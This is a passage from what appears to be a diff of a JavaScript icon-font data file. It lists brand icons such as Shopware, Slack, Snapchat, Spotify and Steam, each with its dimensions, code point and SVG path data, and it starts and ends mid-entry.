"M388.32,104.1a4.66,4.66,0,0,0-4.4-4c-2,0-37.23-.8-37.23-.8s-21.61-20.82-29.62-28.83V503.2L442.76,472S388.72,106.5,388.32,104.1ZM288.65,70.47a116.67,116.67,0,0,0-7.21-17.61C271,32.85,255.42,22,237,22a15,15,0,0,0-4,.4c-.4-.8-1.2-1.2-1.6-2C223.4,11.63,213,7.63,200.58,8c-24,.8-48,18-67.25,48.83-13.61,21.62-24,48.84-26.82,70.06-27.62,8.4-46.83,14.41-47.23,14.81-14,4.4-14.41,4.8-16,18-1.2,10-38,291.82-38,291.82L307.86,504V65.67a41.66,41.66,0,0,0-4.4.4S297.86,67.67,288.65,70.47ZM233.41,87.69c-16,4.8-33.63,10.4-50.84,15.61,4.8-18.82,14.41-37.63,25.62-50,4.4-4.4,10.41-9.61,17.21-12.81C232.21,54.86,233.81,74.48,233.41,87.69ZM200.58,24.44A27.49,27.49,0,0,1,215,28c-6.4,3.2-12.81,8.41-18.81,14.41-15.21,16.42-26.82,42-31.62,66.45-14.42,4.41-28.83,8.81-42,12.81C131.33,83.28,163.75,25.24,200.58,24.44ZM154.15,244.61c1.6,25.61,69.25,31.22,73.25,91.66,2.8,47.64-25.22,80.06-65.65,82.47-48.83,3.2-75.65-25.62-75.65-25.62l10.4-44s26.82,20.42,48.44,18.82c14-.8,19.22-12.41,18.81-20.42-2-33.62-57.24-31.62-60.84-86.86-3.2-46.44,27.22-93.27,94.47-97.68,26-1.6,39.23,4.81,39.23,4.81L221.4,225.39s-17.21-8-37.63-6.4C154.15,221,153.75,239.8,154.15,244.61ZM249.42,82.88c0-12-1.6-29.22-7.21-43.63,18.42,3.6,27.22,24,31.23,36.43Q262.63,78.68,249.42,82.88Z" ], + shopware: [ 512, 512, [], "f5b5", "M403.5 455.41A246.17 246.17 0 0 1 256 504C118.81 504 8 393 8 256 8 118.81 119 8 256 8a247.39 247.39 0 0 1 165.7 63.5 3.57 3.57 0 0 1-2.86 6.18A418.62 418.62 0 0 0 362.13 74c-129.36 0-222.4 53.47-222.4 155.35 0 109 92.13 145.88 176.83 178.73 33.64 13 65.4 25.36 87 41.59a3.58 3.58 0 0 1 0 5.72zM503 233.09a3.64 3.64 0 0 0-1.27-2.44c-51.76-43-93.62-60.48-144.48-60.48-84.13 0-80.25 52.17-80.25 53.63 0 42.6 52.06 62 112.34 84.49 31.07 11.59 63.19 23.57 92.68 39.93a3.57 3.57 0 0 0 5-1.82A249 249 0 0 0 503 233.09z" ], + simplybuilt: [ 512, 512, [], "f215", "M481.2 64h-106c-14.5 0-26.6 11.8-26.6 26.3v39.6H163.3V90.3c0-14.5-12-26.3-26.6-26.3h-106C16.1 64 4.3 75.8 4.3 90.3v331.4c0 14.5 11.8 26.3 26.6 26.3h450.4c14.8 0 26.6-11.8 26.6-26.3V90.3c-.2-14.5-12-26.3-26.7-26.3zM149.8 355.8c-36.6 0-66.4-29.7-66.4-66.4 0-36.9 29.7-66.6 66.4-66.6 36.9 0 66.6 29.7 66.6 66.6 0 36.7-29.7 66.4-66.6 66.4zm212.4 0c-36.9 0-66.6-29.7-66.6-66.6 0-36.6 29.7-66.4 66.6-66.4 36.6 0 66.4 29.7 66.4 66.4 0 36.9-29.8 66.6-66.4 66.6z" ], + sistrix: [ 448, 512, [], "f3ee", "M448 449L301.2 300.2c20-27.9 31.9-62.2 31.9-99.2 0-93.1-74.7-168.9-166.5-168.9C74.7 32 0 107.8 0 200.9s74.7 168.9 166.5 168.9c39.8 0 76.3-14.2 105-37.9l146 148.1 30.5-31zM166.5 330.8c-70.6 0-128.1-58.3-128.1-129.9S95.9 71 166.5 71s128.1 58.3 128.1 129.9-57.4 129.9-128.1 129.9z" ], + sith: [ 448, 512, [], "f512", "M0 32l69.71 118.75-58.86-11.52 69.84 91.03a146.741 146.741 0 0 0 0 51.45l-69.84 91.03 58.86-11.52L0 480l118.75-69.71-11.52 58.86 91.03-69.84c17.02 3.04 34.47 3.04 51.48 0l91.03 69.84-11.52-58.86L448 480l-69.71-118.78 58.86 11.52-69.84-91.03c3.03-17.01 3.04-34.44 0-51.45l69.84-91.03-58.86 11.52L448 32l-118.75 69.71 11.52-58.9-91.06 69.87c-8.5-1.52-17.1-2.29-25.71-2.29s-17.21.78-25.71 2.29l-91.06-69.87 11.52 58.9L0 32zm224 99.78c31.8 0 63.6 12.12 87.85 36.37 48.5 48.5 48.49 127.21 0 175.7s-127.2 48.46-175.7-.03c-48.5-48.5-48.49-127.21 0-175.7 24.24-24.25 56.05-36.34 87.85-36.34zm0 36.66c-22.42 0-44.83 8.52-61.92 25.61-34.18 34.18-34.19 89.68 0 123.87s89.65 34.18 123.84 0c34.18-34.18 34.19-89.68 0-123.87-17.09-17.09-39.5-25.61-61.92-25.61z" ], + sketch: [ 512, 512, [], "f7c6", "M27.5 162.2L9 187.1h90.5l6.9-130.7-78.9 105.8zM396.3 45.7L267.7 32l135.7 147.2-7.1-133.5zM112.2 218.3l-11.2-22H9.9L234.8 458zm2-31.2h284l-81.5-88.5L256.3 33zm297.3 9.1L277.6 458l224.8-261.7h-90.9zM415.4 69L406 56.4l.9 17.3 6.1 113.4h90.3zM113.5 93.5l-4.6 85.6L244.7 32 116.1 45.7zm287.7 102.7h-290l42.4 82.9L256.3 480l144.9-283.8z" ], + skyatlas: [ 640, 512, [], "f216", "M640 329.3c0 65.9-52.5 114.4-117.5 114.4-165.9 0-196.6-249.7-359.7-249.7-146.9 0-147.1 212.2 5.6 212.2 42.5 0 90.9-17.8 125.3-42.5 5.6-4.1 16.9-16.3 22.8-16.3s10.9 5 10.9 10.9c0 7.8-13.1 19.1-18.7 24.1-40.9 35.6-100.3 61.2-154.7 61.2-83.4.1-154-59-154-144.9s67.5-149.1 152.8-149.1c185.3 0 222.5 245.9 361.9 245.9 99.9 0 94.8-139.7 3.4-139.7-17.5 0-35 11.6-46.9 11.6-8.4 0-15.9-7.2-15.9-15.6 0-11.6 5.3-23.7 5.3-36.3 0-66.6-50.9-114.7-116.9-114.7-53.1 0-80 36.9-88.8 36.9-6.2 0-11.2-5-11.2-11.2 0-5.6 4.1-10.3 7.8-14.4 25.3-28.8 64.7-43.7 102.8-43.7 79.4 0 139.1 58.4 139.1 137.8 0 6.9-.3 13.7-1.2 20.6 11.9-3.1 24.1-4.7 35.9-4.7 60.7 0 111.9 45.3 111.9 107.2z" ], + skype: [ 448, 512, [], "f17e", "M424.7 299.8c2.9-14 4.7-28.9 4.7-43.8 0-113.5-91.9-205.3-205.3-205.3-14.9 0-29.7 1.7-43.8 4.7C161.3 40.7 137.7 32 112 32 50.2 32 0 82.2 0 144c0 25.7 8.7 49.3 23.3 68.2-2.9 14-4.7 28.9-4.7 43.8 0 113.5 91.9 205.3 205.3 205.3 14.9 0 29.7-1.7 43.8-4.7 19 14.6 42.6 23.3 68.2 23.3 61.8 0 112-50.2 112-112 .1-25.6-8.6-49.2-23.2-68.1zm-194.6 91.5c-65.6 0-120.5-29.2-120.5-65 0-16 9-30.6 29.5-30.6 31.2 0 34.1 44.9 88.1 44.9 25.7 0 42.3-11.4 42.3-26.3 0-18.7-16-21.6-42-28-62.5-15.4-117.8-22-117.8-87.2 0-59.2 58.6-81.1 109.1-81.1 55.1 0 110.8 21.9 110.8 55.4 0 16.9-11.4 31.8-30.3 31.8-28.3 0-29.2-33.5-75-33.5-25.7 0-42 7-42 22.5 0 19.8 20.8 21.8 69.1 33 41.4 9.3 90.7 26.8 90.7 77.6 0 59.1-57.1 86.5-112 86.5z" ], + slack: [ 448, 512, [], "f198", "M94.12 315.1c0 25.9-21.16 47.06-47.06 47.06S0 341 0 315.1c0-25.9 21.16-47.06 47.06-47.06h47.06v47.06zm23.72 0c0-25.9 21.16-47.06 47.06-47.06s47.06 21.16 47.06 47.06v117.84c0 25.9-21.16 47.06-47.06 47.06s-47.06-21.16-47.06-47.06V315.1zm47.06-188.98c-25.9 0-47.06-21.16-47.06-47.06S139 32 164.9 32s47.06 21.16 47.06 47.06v47.06H164.9zm0 23.72c25.9 0 47.06 21.16 47.06 47.06s-21.16 47.06-47.06 47.06H47.06C21.16 243.96 0 222.8 0 196.9s21.16-47.06 47.06-47.06H164.9zm188.98 47.06c0-25.9 21.16-47.06 47.06-47.06 25.9 0 47.06 21.16 47.06 47.06s-21.16 47.06-47.06 47.06h-47.06V196.9zm-23.72 0c0 25.9-21.16 47.06-47.06 47.06-25.9 0-47.06-21.16-47.06-47.06V79.06c0-25.9 21.16-47.06 47.06-47.06 25.9 0 47.06 21.16 47.06 47.06V196.9zM283.1 385.88c25.9 0 47.06 21.16 47.06 47.06 0 25.9-21.16 47.06-47.06 47.06-25.9 0-47.06-21.16-47.06-47.06v-47.06h47.06zm0-23.72c-25.9 0-47.06-21.16-47.06-47.06 0-25.9 21.16-47.06 47.06-47.06h117.84c25.9 0 47.06 21.16 47.06 47.06 0 25.9-21.16 47.06-47.06 47.06H283.1z" ], + "slack-hash": [ 448, 512, [], "f3ef", "M446.2 270.4c-6.2-19-26.9-29.1-46-22.9l-45.4 15.1-30.3-90 45.4-15.1c19.1-6.2 29.1-26.8 23-45.9-6.2-19-26.9-29.1-46-22.9l-45.4 15.1-15.7-47c-6.2-19-26.9-29.1-46-22.9-19.1 6.2-29.1 26.8-23 45.9l15.7 47-93.4 31.2-15.7-47c-6.2-19-26.9-29.1-46-22.9-19.1 6.2-29.1 26.8-23 45.9l15.7 47-45.3 15c-19.1 6.2-29.1 26.8-23 45.9 5 14.5 19.1 24 33.6 24.6 6.8 1 12-1.6 57.7-16.8l30.3 90L78 354.8c-19 6.2-29.1 26.9-23 45.9 5 14.5 19.1 24 33.6 24.6 6.8 1 12-1.6 57.7-16.8l15.7 47c5.9 16.9 24.7 29 46 22.9 19.1-6.2 29.1-26.8 23-45.9l-15.7-47 93.6-31.3 15.7 47c5.9 16.9 24.7 29 46 22.9 19.1-6.2 29.1-26.8 23-45.9l-15.7-47 45.4-15.1c19-6 29.1-26.7 22.9-45.7zm-254.1 47.2l-30.3-90.2 93.5-31.3 30.3 90.2-93.5 31.3z" ], + slideshare: [ 512, 512, [], "f1e7", "M187.7 153.7c-34 0-61.7 25.7-61.7 57.7 0 31.7 27.7 57.7 61.7 57.7s61.7-26 61.7-57.7c0-32-27.7-57.7-61.7-57.7zm143.4 0c-34 0-61.7 25.7-61.7 57.7 0 31.7 27.7 57.7 61.7 57.7 34.3 0 61.7-26 61.7-57.7.1-32-27.4-57.7-61.7-57.7zm156.6 90l-6 4.3V49.7c0-27.4-20.6-49.7-46-49.7H76.6c-25.4 0-46 22.3-46 49.7V248c-2-1.4-4.3-2.9-6.3-4.3-15.1-10.6-25.1 4-16 17.7 18.3 22.6 53.1 50.3 106.3 72C58.3 525.1 252 555.7 248.9 457.5c0-.7.3-56.6.3-96.6 5.1 1.1 9.4 2.3 13.7 3.1 0 39.7.3 92.8.3 93.5-3.1 98.3 190.6 67.7 134.3-124 53.1-21.7 88-49.4 106.3-72 9.1-13.8-.9-28.3-16.1-17.8zm-30.5 19.2c-68.9 37.4-128.3 31.1-160.6 29.7-23.7-.9-32.6 9.1-33.7 24.9-10.3-7.7-18.6-15.5-20.3-17.1-5.1-5.4-13.7-8-27.1-7.7-31.7 1.1-89.7 7.4-157.4-28V72.3c0-34.9 8.9-45.7 40.6-45.7h317.7c30.3 0 40.9 12.9 40.9 45.7v190.6z" ], + snapchat: [ 496, 512, [], "f2ab", "M248 8C111 8 0 119 0 256s111 248 248 248 248-111 248-248S385 8 248 8zm169.5 338.9c-3.5 8.1-18.1 14-44.8 18.2-1.4 1.9-2.5 9.8-4.3 15.9-1.1 3.7-3.7 5.9-8.1 5.9h-.2c-6.2 0-12.8-2.9-25.8-2.9-17.6 0-23.7 4-37.4 13.7-14.5 10.3-28.4 19.1-49.2 18.2-21 1.6-38.6-11.2-48.5-18.2-13.8-9.7-19.8-13.7-37.4-13.7-12.5 0-20.4 3.1-25.8 3.1-5.4 0-7.5-3.3-8.3-6-1.8-6.1-2.9-14.1-4.3-16-13.8-2.1-44.8-7.5-45.5-21.4-.2-3.6 2.3-6.8 5.9-7.4 46.3-7.6 67.1-55.1 68-57.1 0-.1.1-.2.2-.3 2.5-5 3-9.2 1.6-12.5-3.4-7.9-17.9-10.7-24-13.2-15.8-6.2-18-13.4-17-18.3 1.6-8.5 14.4-13.8 21.9-10.3 5.9 2.8 11.2 4.2 15.7 4.2 3.3 0 5.5-.8 6.6-1.4-1.4-23.9-4.7-58 3.8-77.1C183.1 100 230.7 96 244.7 96c.6 0 6.1-.1 6.7-.1 34.7 0 68 17.8 84.3 54.3 8.5 19.1 5.2 53.1 3.8 77.1 1.1.6 2.9 1.3 5.7 1.4 4.3-.2 9.2-1.6 14.7-4.2 4-1.9 9.6-1.6 13.6 0 6.3 2.3 10.3 6.8 10.4 11.9.1 6.5-5.7 12.1-17.2 16.6-1.4.6-3.1 1.1-4.9 1.7-6.5 2.1-16.4 5.2-19 11.5-1.4 3.3-.8 7.5 1.6 12.5.1.1.1.2.2.3.9 2 21.7 49.5 68 57.1 4 1 7.1 5.5 4.9 10.8z" ], + "snapchat-ghost": [ 512, 512, [], "f2ac", "M510.846 392.673c-5.211 12.157-27.239 21.089-67.36 27.318-2.064 2.786-3.775 14.686-6.507 23.956-1.625 5.566-5.623 8.869-12.128 8.869l-.297-.005c-9.395 0-19.203-4.323-38.852-4.323-26.521 0-35.662 6.043-56.254 20.588-21.832 15.438-42.771 28.764-74.027 27.399-31.646 2.334-58.025-16.908-72.871-27.404-20.714-14.643-29.828-20.582-56.241-20.582-18.864 0-30.736 4.72-38.852 4.72-8.073 0-11.213-4.922-12.422-9.04-2.703-9.189-4.404-21.263-6.523-24.13-20.679-3.209-67.31-11.344-68.498-32.15a10.627 10.627 0 0 1 8.877-11.069c69.583-11.455 100.924-82.901 102.227-85.934.074-.176.155-.344.237-.515 3.713-7.537 4.544-13.849 2.463-18.753-5.05-11.896-26.872-16.164-36.053-19.796-23.715-9.366-27.015-20.128-25.612-27.504 2.437-12.836 21.725-20.735 33.002-15.453 8.919 4.181 16.843 6.297 23.547 6.297 5.022 0 8.212-1.204 9.96-2.171-2.043-35.936-7.101-87.29 5.687-115.969C158.122 21.304 229.705 15.42 250.826 15.42c.944 0 9.141-.089 10.11-.089 52.148 0 102.254 26.78 126.723 81.643 12.777 28.65 7.749 79.792 5.695 116.009 1.582.872 4.357 1.942 8.599 2.139 6.397-.286 13.815-2.389 22.069-6.257 6.085-2.846 14.406-2.461 20.48.058l.029.01c9.476 3.385 15.439 10.215 15.589 17.87.184 9.747-8.522 18.165-25.878 25.018-2.118.835-4.694 1.655-7.434 2.525-9.797 3.106-24.6 7.805-28.616 17.271-2.079 4.904-1.256 11.211 2.46 18.748.087.168.166.342.239.515 1.301 3.03 32.615 74.46 102.23 85.934 6.427 1.058 11.163 7.877 7.725 15.859z" ], + "snapchat-square": [ 448, 512, [], "f2ad", "M400 32H48C21.5 32 0 53.5 0 80v352c0 26.5 21.5 48 48 48h352c26.5 0 48-21.5 48-48V80c0-26.5-21.5-48-48-48zm-6.5 314.9c-3.5 8.1-18.1 14-44.8 18.2-1.4 1.9-2.5 9.8-4.3 15.9-1.1 3.7-3.7 5.9-8.1 5.9h-.2c-6.2 0-12.8-2.9-25.8-2.9-17.6 0-23.7 4-37.4 13.7-14.5 10.3-28.4 19.1-49.2 18.2-21 1.6-38.6-11.2-48.5-18.2-13.8-9.7-19.8-13.7-37.4-13.7-12.5 0-20.4 3.1-25.8 3.1-5.4 0-7.5-3.3-8.3-6-1.8-6.1-2.9-14.1-4.3-16-13.8-2.1-44.8-7.5-45.5-21.4-.2-3.6 2.3-6.8 5.9-7.4 46.3-7.6 67.1-55.1 68-57.1 0-.1.1-.2.2-.3 2.5-5 3-9.2 1.6-12.5-3.4-7.9-17.9-10.7-24-13.2-15.8-6.2-18-13.4-17-18.3 1.6-8.5 14.4-13.8 21.9-10.3 5.9 2.8 11.2 4.2 15.7 4.2 3.3 0 5.5-.8 6.6-1.4-1.4-23.9-4.7-58 3.8-77.1C159.1 100 206.7 96 220.7 96c.6 0 6.1-.1 6.7-.1 34.7 0 68 17.8 84.3 54.3 8.5 19.1 5.2 53.1 3.8 77.1 1.1.6 2.9 1.3 5.7 1.4 4.3-.2 9.2-1.6 14.7-4.2 4-1.9 9.6-1.6 13.6 0 6.3 2.3 10.3 6.8 10.4 11.9.1 6.5-5.7 12.1-17.2 16.6-1.4.6-3.1 1.1-4.9 1.7-6.5 2.1-16.4 5.2-19 11.5-1.4 3.3-.8 7.5 1.6 12.5.1.1.1.2.2.3.9 2 21.7 49.5 68 57.1 4 1 7.1 5.5 4.9 10.8z" ], + soundcloud: [ 640, 512, [], "f1be", "M111.4 256.3l5.8 65-5.8 68.3c-.3 2.5-2.2 4.4-4.4 4.4s-4.2-1.9-4.2-4.4l-5.6-68.3 5.6-65c0-2.2 1.9-4.2 4.2-4.2 2.2 0 4.1 2 4.4 4.2zm21.4-45.6c-2.8 0-4.7 2.2-5 5l-5 105.6 5 68.3c.3 2.8 2.2 5 5 5 2.5 0 4.7-2.2 4.7-5l5.8-68.3-5.8-105.6c0-2.8-2.2-5-4.7-5zm25.5-24.1c-3.1 0-5.3 2.2-5.6 5.3l-4.4 130 4.4 67.8c.3 3.1 2.5 5.3 5.6 5.3 2.8 0 5.3-2.2 5.3-5.3l5.3-67.8-5.3-130c0-3.1-2.5-5.3-5.3-5.3zM7.2 283.2c-1.4 0-2.2 1.1-2.5 2.5L0 321.3l4.7 35c.3 1.4 1.1 2.5 2.5 2.5s2.2-1.1 2.5-2.5l5.6-35-5.6-35.6c-.3-1.4-1.1-2.5-2.5-2.5zm23.6-21.9c-1.4 0-2.5 1.1-2.5 2.5l-6.4 57.5 6.4 56.1c0 1.7 1.1 2.8 2.5 2.8s2.5-1.1 2.8-2.5l7.2-56.4-7.2-57.5c-.3-1.4-1.4-2.5-2.8-2.5zm25.3-11.4c-1.7 0-3.1 1.4-3.3 3.3L47 321.3l5.8 65.8c.3 1.7 1.7 3.1 3.3 3.1 1.7 0 3.1-1.4 3.1-3.1l6.9-65.8-6.9-68.1c0-1.9-1.4-3.3-3.1-3.3zm25.3-2.2c-1.9 0-3.6 1.4-3.6 3.6l-5.8 70 5.8 67.8c0 2.2 1.7 3.6 3.6 3.6s3.6-1.4 3.9-3.6l6.4-67.8-6.4-70c-.3-2.2-2-3.6-3.9-3.6zm241.4-110.9c-1.1-.8-2.8-1.4-4.2-1.4-2.2 0-4.2.8-5.6 1.9-1.9 1.7-3.1 4.2-3.3 6.7v.8l-3.3 176.7 1.7 32.5 1.7 31.7c.3 4.7 4.2 8.6 8.9 8.6s8.6-3.9 8.6-8.6l3.9-64.2-3.9-177.5c-.4-3-2-5.8-4.5-7.2zm-26.7 15.3c-1.4-.8-2.8-1.4-4.4-1.4s-3.1.6-4.4 1.4c-2.2 1.4-3.6 3.9-3.6 6.7l-.3 1.7-2.8 160.8s0 .3 3.1 65.6v.3c0 1.7.6 3.3 1.7 4.7 1.7 1.9 3.9 3.1 6.4 3.1 2.2 0 4.2-1.1 5.6-2.5 1.7-1.4 2.5-3.3 2.5-5.6l.3-6.7 3.1-58.6-3.3-162.8c-.3-2.8-1.7-5.3-3.9-6.7zm-111.4 22.5c-3.1 0-5.8 2.8-5.8 6.1l-4.4 140.6 4.4 67.2c.3 3.3 2.8 5.8 5.8 5.8 3.3 0 5.8-2.5 6.1-5.8l5-67.2-5-140.6c-.2-3.3-2.7-6.1-6.1-6.1zm376.7 62.8c-10.8 0-21.1 2.2-30.6 6.1-6.4-70.8-65.8-126.4-138.3-126.4-17.8 0-35 3.3-50.3 9.4-6.1 2.2-7.8 4.4-7.8 9.2v249.7c0 5 3.9 8.6 8.6 9.2h218.3c43.3 0 78.6-35 78.6-78.3.1-43.6-35.2-78.9-78.5-78.9zm-296.7-60.3c-4.2 0-7.5 3.3-7.8 7.8l-3.3 136.7 3.3 65.6c.3 4.2 3.6 7.5 7.8 7.5 4.2 0 7.5-3.3 7.5-7.5l3.9-65.6-3.9-136.7c-.3-4.5-3.3-7.8-7.5-7.8zm-53.6-7.8c-3.3 0-6.4 3.1-6.4 6.7l-3.9 145.3 3.9 66.9c.3 3.6 3.1 6.4 6.4 6.4 3.6 0 6.4-2.8 6.7-6.4l4.4-66.9-4.4-145.3c-.3-3.6-3.1-6.7-6.7-6.7zm26.7 3.4c-3.9 0-6.9 3.1-6.9 6.9L227 321.3l3.9 66.4c.3 3.9 3.1 6.9 6.9 6.9s6.9-3.1 6.9-6.9l4.2-66.4-4.2-141.7c0-3.9-3-6.9-6.9-6.9z" ], + sourcetree: [ 448, 512, [], "f7d3", "M427.2 203c0-112.1-90.9-203-203-203C112.1-.2 21.2 90.6 21 202.6A202.86 202.86 0 0 0 161.5 396v101.7a14.3 14.3 0 0 0 14.3 14.3h96.4a14.3 14.3 0 0 0 14.3-14.3V396.1A203.18 203.18 0 0 0 427.2 203zm-271.6 0c0-90.8 137.3-90.8 137.3 0-.1 89.9-137.3 91-137.3 0z" ], + speakap: [ 448, 512, [], "f3f3", "M64 391.78C-15.41 303.59-8 167.42 80.64 87.64s224.8-73 304.21 15.24 72 224.36-16.64 304.14c-18.74 16.87 64 43.09 42 52.26-82.06 34.21-253.91 35-346.23-67.5zm213.31-211.6l38.5-40.86c-9.61-8.89-32-26.83-76.17-27.6-52.33-.91-95.86 28.3-96.77 80-.2 11.33.29 36.72 29.42 54.83 34.46 21.42 86.52 21.51 86 52.26-.37 21.28-26.42 25.81-38.59 25.6-3-.05-30.23-.46-47.61-24.62l-40 42.61c28.16 27 59 32.62 83.49 33.05 10.23.18 96.42.33 97.84-81 .28-15.81-2.07-39.72-28.86-56.59-34.36-21.64-85-19.45-84.43-49.75.41-23.25 31-25.37 37.53-25.26.43 0 26.62.26 39.62 17.37z" ], + "speaker-deck": [ 512, 512, [], "f83c", "M213.86 296H100a100 100 0 0 1 0-200h132.84a40 40 0 0 1 0 80H98c-26.47 0-26.45 40 0 40h113.82a100 100 0 0 1 0 200H40a40 40 0 0 1 0-80h173.86c26.48 0 26.46-40 0-40zM298 416a120.21 120.21 0 0 0 51.11-80h64.55a19.83 19.83 0 0 0 19.66-20V196a19.83 19.83 0 0 0-19.66-20H296.42a60.77 60.77 0 0 0 0-80h136.93c43.44 0 78.65 35.82 78.65 80v160c0 44.18-35.21 80-78.65 80z" ], + spotify: [ 496, 512, [], "f1bc", "M248 8C111.1 8 0 119.1 0 256s111.1 248 248 248 248-111.1 248-248S384.9 8 248 8zm100.7 364.9c-4.2 0-6.8-1.3-10.7-3.6-62.4-37.6-135-39.2-206.7-24.5-3.9 1-9 2.6-11.9 2.6-9.7 0-15.8-7.7-15.8-15.8 0-10.3 6.1-15.2 13.6-16.8 81.9-18.1 165.6-16.5 237 26.2 6.1 3.9 9.7 7.4 9.7 16.5s-7.1 15.4-15.2 15.4zm26.9-65.6c-5.2 0-8.7-2.3-12.3-4.2-62.5-37-155.7-51.9-238.6-29.4-4.8 1.3-7.4 2.6-11.9 2.6-10.7 0-19.4-8.7-19.4-19.4s5.2-17.8 15.5-20.7c27.8-7.8 56.2-13.6 97.8-13.6 64.9 0 127.6 16.1 177 45.5 8.1 4.8 11.3 11 11.3 19.7-.1 10.8-8.5 19.5-19.4 19.5zm31-76.2c-5.2 0-8.4-1.3-12.9-3.9-71.2-42.5-198.5-52.7-280.9-29.7-3.6 1-8.1 2.6-12.9 2.6-13.2 0-23.3-10.3-23.3-23.6 0-13.6 8.4-21.3 17.4-23.9 35.2-10.3 74.6-15.2 117.5-15.2 73 0 149.5 15.2 205.4 47.8 7.8 4.5 12.9 10.7 12.9 22.6 0 13.6-11 23.3-23.2 23.3z" ], + squarespace: [ 512, 512, [], "f5be", "M186.12 343.34c-9.65 9.65-9.65 25.29 0 34.94 9.65 9.65 25.29 9.65 34.94 0L378.24 221.1c19.29-19.29 50.57-19.29 69.86 0s19.29 50.57 0 69.86L293.95 445.1c19.27 19.29 50.53 19.31 69.82.04l.04-.04 119.25-119.24c38.59-38.59 38.59-101.14 0-139.72-38.59-38.59-101.15-38.59-139.72 0l-157.22 157.2zm244.53-104.8c-9.65-9.65-25.29-9.65-34.93 0l-157.2 157.18c-19.27 19.29-50.53 19.31-69.82.05l-.05-.05c-9.64-9.64-25.27-9.65-34.92-.01l-.01.01c-9.65 9.64-9.66 25.28-.02 34.93l.02.02c38.58 38.57 101.14 38.57 139.72 0l157.2-157.2c9.65-9.65 9.65-25.29.01-34.93zm-261.99 87.33l157.18-157.18c9.64-9.65 9.64-25.29 0-34.94-9.64-9.64-25.27-9.64-34.91 0L133.72 290.93c-19.28 19.29-50.56 19.3-69.85.01l-.01-.01c-19.29-19.28-19.31-50.54-.03-69.84l.03-.03L218.03 66.89c-19.28-19.29-50.55-19.3-69.85-.02l-.02.02L28.93 186.14c-38.58 38.59-38.58 101.14 0 139.72 38.6 38.59 101.13 38.59 139.73.01zm-87.33-52.4c9.64 9.64 25.27 9.64 34.91 0l157.21-157.19c19.28-19.29 50.55-19.3 69.84-.02l.02.02c9.65 9.65 25.29 9.65 34.93 0 9.65-9.65 9.65-25.29 0-34.93-38.59-38.59-101.13-38.59-139.72 0L81.33 238.54c-9.65 9.64-9.65 25.28-.01 34.93h.01z" ], + "stack-exchange": [ 448, 512, [], "f18d", "M17.7 332.3h412.7v22c0 37.7-29.3 68-65.3 68h-19L259.3 512v-89.7H83c-36 0-65.3-30.3-65.3-68v-22zm0-23.6h412.7v-85H17.7v85zm0-109.4h412.7v-85H17.7v85zM365 0H83C47 0 17.7 30.3 17.7 67.7V90h412.7V67.7C430.3 30.3 401 0 365 0z" ], + "stack-overflow": [ 384, 512, [], "f16c", "M290.7 311L95 269.7 86.8 309l195.7 41zm51-87L188.2 95.7l-25.5 30.8 153.5 128.3zm-31.2 39.7L129.2 179l-16.7 36.5L293.7 300zM262 32l-32 24 119.3 160.3 32-24zm20.5 328h-200v39.7h200zm39.7 80H42.7V320h-40v160h359.5V320h-40z" ], + stackpath: [ 448, 512, [], "f842", "M244.6 232.4c0 8.5-4.26 20.49-21.34 20.49h-19.61v-41.47h19.61c17.13 0 21.34 12.36 21.34 20.98zM448 32v448H0V32zM151.3 287.84c0-21.24-12.12-34.54-46.72-44.85-20.57-7.41-26-10.91-26-18.63s7-14.61 20.41-14.61c14.09 0 20.79 8.45 20.79 18.35h30.7l.19-.57c.5-19.57-15.06-41.65-51.12-41.65-23.37 0-52.55 10.75-52.55 38.29 0 19.4 9.25 31.29 50.74 44.37 17.26 6.15 21.91 10.4 21.91 19.48 0 15.2-19.13 14.23-19.47 14.23-20.4 0-25.65-9.1-25.65-21.9h-30.8l-.18.56c-.68 31.32 28.38 45.22 56.63 45.22 29.98 0 51.12-13.55 51.12-38.29zm125.38-55.63c0-25.3-18.43-45.46-53.42-45.46h-51.78v138.18h32.17v-47.36h19.61c30.25 0 53.42-15.95 53.42-45.36zM297.94 325L347 186.78h-31.09L268 325zm106.52-138.22h-31.09L325.46 325h29.94z" ], + staylinked: [ 440, 512, [], "f3f5", "M382.7 292.5l2.7 2.7-170-167.3c-3.5-3.5-9.7-3.7-13.8-.5L144.3 171c-4.2 3.2-4.6 8.7-1.1 12.2l68.1 64.3c3.6 3.5 9.9 3.7 14 .5l.1-.1c4.1-3.2 10.4-3 14 .5l84 81.3c3.6 3.5 3.2 9-.9 12.2l-93.2 74c-4.2 3.3-10.5 3.1-14.2-.4L63.2 268c-3.5-3.5-9.7-3.7-13.9-.5L3.5 302.4c-4.2 3.2-4.7 8.7-1.2 12.2L211 510.7s7.4 6.8 17.3-.8l198-163.9c4-3.2 4.4-8.7.7-12.2zm54.5-83.4L226.7 2.5c-1.5-1.2-8-5.5-16.3 1.1L3.6 165.7c-4.2 3.2-4.8 8.7-1.2 12.2l42.3 41.7 171.7 165.1c3.7 3.5 10.1 3.7 14.3.4l50.2-38.8-.3-.3 7.7-6c4.2-3.2 4.6-8.7.9-12.2l-57.1-54.4c-3.6-3.5-10-3.7-14.2-.5l-.1.1c-4.2 3.2-10.5 3.1-14.2-.4L109 180.8c-3.6-3.5-3.1-8.9 1.1-12.2l92.2-71.5c4.1-3.2 10.3-3 13.9.5l160.4 159c3.7 3.5 10 3.7 14.1.5l45.8-35.8c4.1-3.2 4.4-8.7.7-12.2z" ], + steam: [ 496, 512, [], "f1b6", "M496 256c0 137-111.2 248-248.4 248-113.8 0-209.6-76.3-239-180.4l95.2 39.3c6.4 32.1 34.9 56.4 68.9 56.4 39.2 0 71.9-32.4 70.2-73.5l84.5-60.2c52.1 1.3 95.8-40.9 95.8-93.5 0-51.6-42-93.5-93.7-93.5s-93.7 42-93.7 93.5v1.2L176.6 279c-15.5-.9-30.7 3.4-43.5 12.1L0 236.1C10.2 108.4 117.1 8 247.6 8 384.8 8 496 119 496 256zM155.7 384.3l-30.5-12.6a52.79 52.79 0 0 0 27.2 25.8c26.9 11.2 57.8-1.6 69-28.4 5.4-13 5.5-27.3.1-40.3-5.4-13-15.5-23.2-28.5-28.6-12.9-5.4-26.7-5.2-38.9-.6l31.5 13c19.8 8.2 29.2 30.9 20.9 50.7-8.3 19.9-31 29.2-50.8 21zm173.8-129.9c-34.4 0-62.4-28-62.4-62.3s28-62.3 62.4-62.3 62.4 28 62.4 62.3-27.9 62.3-62.4 62.3zm.1-15.6c25.9 0 46.9-21 46.9-46.8 0-25.9-21-46.8-46.9-46.8s-46.9 21-46.9 46.8c.1 25.8 21.1 46.8 46.9 46.8z" ], + "steam-square": [ 448, 512, [], "f1b7", "M185.2 356.5c7.7-18.5-1-39.7-19.6-47.4l-29.5-12.2c11.4-4.3 24.3-4.5 